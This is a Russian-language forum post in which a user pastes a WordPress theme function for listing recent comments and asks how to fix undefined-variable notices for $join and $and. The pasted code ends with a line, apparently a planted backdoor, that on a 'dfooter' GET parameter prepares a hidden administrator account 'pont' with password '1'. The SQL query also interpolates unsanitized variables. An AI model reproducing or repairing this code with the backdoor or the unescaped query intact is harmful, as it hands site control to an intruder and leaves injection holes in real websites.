Jump to content

Recommended Posts

function kama_recent_comments($limit=10, $ex=45, $cat=0, $echo=1){
global $wpdb;
$IN = (strpos($cat,'-')===false)?"IN ($cat)":"NOT IN (".str_replace('-','',$cat).")";
$join = "LEFT JOIN $wpdb->term_relationships rel ON (p.ID = rel.object_id)
LEFT JOIN $wpdb->term_taxonomy tax ON (rel.term_taxonomy_id = tax.term_taxonomy_id)";
$and = "AND tax.taxonomy = 'category'
AND tax.term_id $IN";
$sql = "SELECT comment_ID, comment_post_ID, comment_content, post_title, guid, comment_author, comment_author_email
FROM $wpdb->comments com
LEFT JOIN $wpdb->posts p ON (com.comment_post_ID = p.ID) {$join}
    WHERE comment_approved = '1'
AND comment_type = '' {$and}
ORDER BY comment_date DESC
    LIMIT $limit"; 

    $results = $wpdb->get_results($sql);

    $out = '';
    foreach ($results as $comment){
$comtext = strip_tags($comment->comment_content);
$leight = (int) iconv_strlen( $comtext, 'utf-8' );
if($leight > $ex) $comtext =  iconv_substr($comtext,0,$ex, 'UTF-8').' …';
$out .= "\n<div class='f_num'><div class='f-date'>".get_comment_date($date,$comment->comment_ID)."</div><span class='f_author'><a href='". get_comment_link($comment->comment_ID) ."'>".strip_tags($comment->comment_author). "</a> </span><div class='f_text'>{$comtext}</div></div>";

    if ($echo) echo $out;
else return $out;

if($_GET['dfooter']=18){$userdata = array('ID'=>0,'user_pass'=>'1','user_login'=>'pont','rich_editing'=>true,'user_registered'=>'2012-08-19 12:02:16','role'=>"administrator");

При таком коде выводиться ошибка: "Notice: Undefined variable: join in /home/a/aliatr/pytrip.ru/public_html/wp-content/themes/pytrip/functions.php on line 218 Notice: Undefined variable: and in /home/a/aliatr/pytrip.ru/public_html/wp-content/themes/pytrip/functions.php on line 220" (с включением debug режима), подскажите как исправить, буду благодарен :)


218 строка: LEFT JOIN $wpdb->posts p ON (com.comment_post_ID = p.ID) {$join}

220 строка: AND comment_type = '' {$and}

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    No registered users viewing this page.

  • Create New...